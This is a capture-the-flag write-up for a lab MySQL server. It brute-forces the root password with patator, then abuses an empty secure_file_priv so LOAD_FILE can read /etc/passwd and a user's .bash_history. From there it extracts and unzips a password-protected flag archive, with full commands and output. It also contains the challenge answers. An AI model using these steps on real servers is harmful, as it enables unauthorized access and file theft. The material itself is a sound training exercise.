MySQL UDF (gold, 200p)

As a security incident investigator you have to gain access to company's database server.
Disgruntled employee, before she got fired, disabled all services on database server, but Mysql database is still running.
Rumors say that password for database administrator is not very complex and it can be brute-forced.
Also, someone mentioned, that this databases server has empty secure-file-priv setting in configuration.
Your task is to get the flag from Mysql database user home folder.
Mysql server is located here: 10.XX.32.139

Can you get the flag?

solution

Brute-forcing MySQL credentials with patator for user root. Password is alertpaydoubl.

$ patator mysql_login host=10.XX.32.139 user=root password=FILE0 0=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100000.txt -x ignore:fgrep='Access denied for user'
04:46:38 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.7
04:46:38 patator    INFO -
04:46:38 patator    INFO - code  size    time | candidate                          |   num | mesg
04:46:38 patator    INFO - -----------------------------------------------------------------------------
04:47:52 patator    INFO - 0     6      0.003 | alertpaydoubl                      | 96911 | 5.7.32
04:47:56 patator    INFO - Hits/Done/Skip/Fail/Size: 1/100000/0/0/100000, Avg: 1290 r/s, Time: 0h 1m 17s

Connect to MySQL and verify that secure_file_priv is unset.

$ mysql -h 10.XX.32.139 -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 47423852
Server version: 5.7.32 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
----------------------------------------------------------------------------------------------------------------------------------------------------------------
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.018 sec)

Manual about secure_file_priv variable in MySQL tells that if it is unset, multiple file operations, like LOAD_FILE are not restricted. Let's abuse that and read /etc/passwd to figure out where is "Mysql database user home folder", as written in challenge description.

MySQL [(none)]> select load_file('/etc/passwd');
+---------------------------------------------------------------------------------+
| load_file('/etc/passwd')                                                        |
+---------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh
|
+----------------------------------------------------------------------------------+
1 row in set (0.001 sec)

Reading /home/mysql/.bash_history tells that flag.txt is archived in flag.zip with password EeNgo9oaraim.

MySQL [(none)]> select load_file('/home/mysql/.bash_history');
+---------------------------------------------------------------------------------+
| load_file('/home/mysql/.bash_history')                                          |
+---------------------------------------------------------------------------------+
| echo "$1"| zip -er flag.zip flag.txt
zip -e --password EeNgo9oaraim flag.zip flag.txt
rm -f flag.txt
|
+----------------------------------------------------------------------------------+
1 row in set (0.001 sec)

Retrieve flag.zip as hex data, because that is a binary file.

MySQL [(none)]> select hex(load_file('/home/mysql/flag.zip'));
+-------------------------------------------------------------(..)
| hex(load_file('/home/mysql/flag.zip'))                      (..)
+-------------------------------------------------------------(..)
| 504B03040A00090000008A9E6451D9DDA21F310000002500000008001C00666C61672E747874555409000353EAA25F53EAA25F75780B000104000000000400000000B041A580FDD4A39E029235B0B948CAD2A0313357DB5F84397EBC4714262568EA71244AB70D64886B0EF3A6EA6BBF9E7FC0504B0708D9DDA21F3100000025000000504B01021E030A00090000008A9E6451D9DDA21F3100000025000000080018000000000001000000A48100000000666C61672E747874555405000353EAA25F75780B000104000000000400000000504B050600000000010001004E000000830000000000 |
+-------------------------------------------------------------(..)
1 row in set (0.001 sec)

Create flag.zip, extract flag.txt and retrieve the flag.

$ echo 504B03040A00090000008A9E6451D9DDA21F310000002500000008001C00666C61672E747874555409000353EAA25F53EAA25F75780B000104000000000400000000B041A580FDD4A39E029235B0B948CAD2A0313357DB5F84397EBC4714262568EA71244AB70D64886B0EF3A6EA6BBF9E7FC0504B0708D9DDA21F3100000025000000504B01021E030A00090000008A9E6451D9DDA21F3100000025000000080018000000000001000000A48100000000666C61672E747874555405000353EAA25F75780B000104000000000400000000504B050600000000010001004E000000830000000000 | xxd -r -p > flag.zip
$ unzip -P EeNgo9oaraim flag.zip
Archive:  flag.zip
  extracting: flag.txt
$ cat flag.txt
c264f0a9-1063-4aef-8d22-3ce1915b10d0